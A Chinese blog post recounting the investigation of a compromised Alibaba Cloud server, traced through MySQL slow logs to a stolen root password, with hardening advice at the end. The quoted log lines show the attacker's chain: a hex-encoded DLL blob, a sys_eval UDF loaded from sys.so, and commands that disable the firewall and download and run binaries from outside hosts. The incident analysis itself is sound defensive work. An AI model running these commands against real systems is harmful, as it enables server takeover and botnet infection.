重磅-記一次驚心動魄的阿里雲伺服器被入侵過程定位
現象
- 某天登陸自己的阿里雲伺服器,發現有很多命名奇怪的進程:
定位步驟一:查看進程文件位置
通過命令
ll /proc/pid
查看進程文件exe執行路徑,打開後整個人都驚呆了!mysql目錄和mysql/data目錄多了很多奇怪的so文件和可執行文件:
定位步驟二:立馬kill掉進程和文件- 批量kill進程:介紹一個在stackoverflow看到的人性化易懂的批量kill進程的方法:
kill `ps -ef | grep [s]leep | awk {print $2}`解釋:- [s]正則是為了防止匹配到ps本身,免去了grep -V- awk {print $2} 只輸出第二列的進程號 - ``是執行命令返回結果,shell語法- kill grep出來的所有匹配的進程號
定位步驟三:修改root密碼&關閉ftp匿名用戶
正常攻擊也沒有辦法上傳木馬文件,初步懷疑是伺服器密碼泄露,被登錄進來,然後上傳了木馬病毒腳本文件,於是通過阿里雲控制台修改了root密碼,並且重啟了機器。 或者另一種可能是通過ftp上傳的。此外又看了ftp匿名用戶打開了
定位步驟四:再次受到攻擊!!!
原本以為修改了root密碼並重啟了伺服器問題已經解決,但是過了一兩天阿里雲又提示有告警,每隔幾天就爆出問題,實在是想不到原因,最後發現個現象木馬進程都是mysql用戶啟動的,mysql攻擊也不能自己啟動進程,就算存在sql注入也沒有理由能上下載文件吧。
定位步驟五:捕捉現場-把mysql全日誌打開既然問題是出在mysql,把mysql的所有查詢日誌,把slow_log的時間改成0:
mysql -help | grep cnf vi /etc/my.cnf long_query_time= 0 slow_query_log=ON slow_query_log_file=/alidata/log/mysql/slow.log
定位步驟五:分析日誌&入侵過程
觀察了一斷時間,看slow.log一切豁然開朗了: 有很多奇怪的操作,包括DUMPFILE導出日誌
//創建表create table if not exists tempMix4(data LONGBLOB);// 第一步設置變數set @a = concat(,0x4D5A4B45524E454C33322E444C4C00004C6F61644C696272617279410000000047657450726F63416464726573730000557061636B42794477696E6740000000504500004C010200001000000800000000000000E0000E210B0100390050000000600000000000008D09010000100000006000000000001000100000000200000400000000000000040000000000000000800100000200000000000002000000000010000010000000001000001000000000000010000000590C0100B8000000410C01001400000000D000009003000000000000000000000000000000000000480000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002E557061636B000000C00000001000000000000000000000000000000000000000000000600000E02E7273726300000000B0000000D00000113D000000020000000000000000000000000000600000E088010010140D01101B0000000E00000000100010BB0B0110070C01100A0C0110180C0110F30B0110FC0F00102E0B0110300B0110D009011065C600103D0C0110FFBF0010220B0110000400007C070000C40B0000400100009F02000090D3001000000000FFFFFFFF0100000001000000010000000100000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058D00000380300000000000000000000380334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000003400BD04EFFE00000100060002001D235600060002001D2356003F00000000000000040000000100000000000000000000000000000098020000000053007400720069006E006700460069006C00650049006E0066006F00000074020000000030003000300030003000340045003400000040002800010043006F006D006D0065006E0074007300000032003000300039002D00310032002D00310030002000310036003A00350031003A003100390000003C001C00010043006F006D00700061006E0079004E0061006D0065000000000050005000530074007200650061006D00200049006E0063002E000000500026000100460069006C0065004400650073006300720069007000740069006F006E000000000050005000530074007200650061006D00200049006E007300740061006C006C006500720000000000380018000100460069006C006500560065007200730069006F006E000000000032002E0036002E00380036002E00380039003800390000009C00760001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000280043002900200032003000300035002D0032003000300039002000500050005300740072006//第二步 插入到臨時表INSERT INTO tempMix VALUES (@a);// 導入函數# User@Host: root[root] @ [115.28.238.77] Id: 3# Query_time: 0.001387 Lock_time: 0.000947 Rows_sent: 0 Rows_examined: 0SET timestamp=1471084691;CREATE FUNCTION sys_eval RETURNS string SONAME sys.so;# User@Host: root[root] @ [115.28.238.77] Id: 3# Query_time: 0.000213 Lock_time: 0.000113 Rows_sent: 0 Rows_examined: 0SET timestamp=1471084691;select sys_eval("wget http://www.zuimihu.cn/DDos;chmod 777 DDos;./DDos;");# Time: 160831 3:51:28# User@Host: root[root] @ [121.42.195.49] Id: 115# Query_time: 2.444778 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0SET timestamp=1472586688;select sys_eval("/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://211.127.220.60:809/TSmmm;chmod 777 TSmmm;./TSmmm;");
定位步驟六:入侵原因分析
通過代碼層面入侵的可能性非常低,唯一的可能性是mysql的root賬號密碼被泄露或者被破解導致的,且從slow-log看訪問ip就不是本機,可以推斷出是遠程登錄上mysql然後進行攻擊。
定位步驟七:防範措施
核心賬號密碼一定要足夠的複雜,保密,定期更換,最好限制IP登錄,只允許本機登錄,再開放其他低許可權的賬戶。 修改密碼和許可權後一周內也沒有出現過問題。
相關學習
- MySQL慢日誌查詢全解析:從參數、配置到分析工具
推薦閱讀:
※如何看待阿里雲布局ET大腦這件事?
※當我們聊到8K直播,阿里雲有話說......
※Kyligence Cloud支持阿里雲,加速雲上大數據分析
※阿里雲聆聽快訊,互通之鏈